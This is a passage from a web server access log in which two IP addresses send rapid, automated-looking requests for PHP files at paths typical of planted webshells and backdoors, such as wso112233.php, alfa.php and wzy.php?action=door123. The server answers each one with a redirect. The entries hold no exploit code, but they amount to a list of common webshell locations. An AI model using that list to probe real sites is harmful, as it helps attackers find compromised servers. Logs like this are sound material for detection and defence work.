Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:33 -0400] "GET /wp-includes/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:33 -0400] "GET /wp-admin/js/widgets/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:22:33 -0400] "GET /wp-admin/network/gzak2w.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:33 -0400] "GET /components/com_jea/views/form/tmpl/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:34 -0400] "GET /test/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:22:34 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:34 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:34 -0400] "GET /assets/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:35 -0400] "GET /wp-add.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:35 -0400] "GET /wp-content/uploads/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:35 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 91.199.118.49 - - [25/Apr/2025:11:22:35 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:35 -0400] "GET /wp-admin/images/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.199.118.49 - - [25/Apr/2025:11:22:36 -0400] "GET /nav-menus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 91.199.118.49 - - [25/Apr/2025:11:22:36 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:36 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:36 -0400] "GET /cgi-bin/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 91.199.118.49 - - [25/Apr/2025:11:22:36 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:37 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.199.118.49 - - [25/Apr/2025:11:22:37 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 91.199.118.49 - - [25/Apr/2025:11:22:37 -0400] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:37 -0400] "GET /wp-content/plugins/Core-Econ/upH.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:38 -0400] "GET /pegi.PhP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 91.199.118.49 - - [25/Apr/2025:11:22:38 -0400] "GET /cgi-bin/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.199.118.49 - - [25/Apr/2025:11:22:38 -0400] "GET /wp-includes/blocks/button/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:38 -0400] "GET /wp-content/plugins/apikey/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:38 -0400] "GET /css/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:39 -0400] "GET /wp-content/uploads/2022/bidlbdgp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:39 -0400] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:39 -0400] "GET /components/lig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:22:39 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:39 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:22:40 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 91.199.118.49 - - [25/Apr/2025:11:22:40 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 91.199.118.49 - - [25/Apr/2025:11:22:40 -0400] "GET /network.php4 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:40 -0400] "GET /wp-admin/network/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:40 -0400] "GET /.well-known/pki-validation/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:41 -0400] "GET /delpaths.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 91.199.118.49 - - [25/Apr/2025:11:22:41 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:41 -0400] "GET /wp-admin/css/colors/coffee/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:22:41 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 91.199.118.49 - - [25/Apr/2025:11:22:41 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:42 -0400] "GET /wp-includes/block-supports/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 91.199.118.49 - - [25/Apr/2025:11:22:42 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:42 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:22:42 -0400] "GET /init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:42 -0400] "GET /wp-includes/css/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 91.199.118.49 - - [25/Apr/2025:11:22:43 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:43 -0400] "GET /wp-admin/images/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:43 -0400] "GET /wp-includes/SimplePie/Cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 91.199.118.49 - - [25/Apr/2025:11:22:43 -0400] "GET /widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:43 -0400] "GET /cgi-bin/xdrwxeax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:44 -0400] "GET /wp-includes/mani.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:22:44 -0400] "GET /.well-known/pki-validation/ssl.php?xsec=blocker HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:44 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 91.199.118.49 - - [25/Apr/2025:11:22:44 -0400] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:44 -0400] "GET /wp-admin/network/index.php4 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:45 -0400] "GET /ova.php4https:/worldbdsm.net/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 91.199.118.49 - - [25/Apr/2025:11:22:45 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:45 -0400] "GET /.well-known/pki-validation/wp-sigunq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 91.199.118.49 - - [25/Apr/2025:11:22:45 -0400] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 91.199.118.49 - - [25/Apr/2025:11:22:45 -0400] "GET /.well-known/functions.schedules.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:22:46 -0400] "GET /wzy.php?action=door123 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:22:46 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:22:46 -0400] "GET /.well-known/acme-challenge/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:22:46 -0400] "GET /wp-includes/packed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:22:47 -0400] "GET /product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:22:47 -0400] "GET /.well-known/acme-challenge/blurbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 156.146.33.80 - - [25/Apr/2025:11:22:47 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:22:47 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:22:47 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 156.146.33.80 - - [25/Apr/2025:11:22:48 -0400] "GET /checkbox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:22:48 -0400] "GET /wp-includes/SimplePie/lig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:22:48 -0400] "GET /.well-known/acme-challenge/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:22:48 -0400] "GET /wp-files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.33.80 - - [25/Apr/2025:11:22:48 -0400] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 156.146.33.80 - - [25/Apr/2025:11:22:49 -0400] "GET /black.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.33.80 - - [25/Apr/2025:11:22:49 -0400] "GET /wp-includes/Requests/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.33.80 - - [25/Apr/2025:11:22:49 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:22:49 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:22:49 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:22:50 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:22:50 -0400] "GET /word.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:22:50 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 156.146.33.80 - - [25/Apr/2025:11:22:50 -0400] "GET /wp-content/plugins/sid/sidwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:22:50 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:22:50 -0400] "GET /wp-includes/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:22:51 -0400] "GET /wp-admin/css/colors/blue/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 156.146.33.80 - - [25/Apr/2025:11:22:51 -0400] "GET /.well-known/pki-validation/scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:22:51 -0400] "GET /assets/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:22:51 -0400] "GET /wp-includes/fonts/parx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:22:51 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:22:52 -0400] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:22:52 -0400] "GET /wp-includes/Text/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:22:52 -0400] "GET /wp-includes/block-patterns/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 156.146.33.80 - - [25/Apr/2025:11:22:52 -0400] "GET /modules/mod_footer/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.33.80 - - [25/Apr/2025:11:22:52 -0400] "GET /wp-admin/wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 156.146.33.80 - - [25/Apr/2025:11:22:52 -0400] "GET /f0x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:22:53 -0400] "GET /templates/cassiopeia/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:22:53 -0400] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:22:53 -0400] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:22:53 -0400] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:22:53 -0400] "GET /wp-includes/fonts/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 156.146.33.80 - - [25/Apr/2025:11:22:54 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 156.146.33.80 - - [25/Apr/2025:11:22:54 -0400] "GET /wp-content/themes/digital-download/new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 156.146.33.80 - - [25/Apr/2025:11:22:54 -0400] "GET /sh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:22:54 -0400] "GET /wp-admin/images/thumbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:22:55 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:22:55 -0400] "GET /wp-content/plugins/elementor/wp-wyrvg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 156.146.33.80 - - [25/Apr/2025:11:22:55 -0400] "GET /wp-includes/css/dist/editor/fxp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 156.146.33.80 - - [25/Apr/2025:11:22:55 -0400] "GET /wp-admin/network/back.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 156.146.33.80 - - 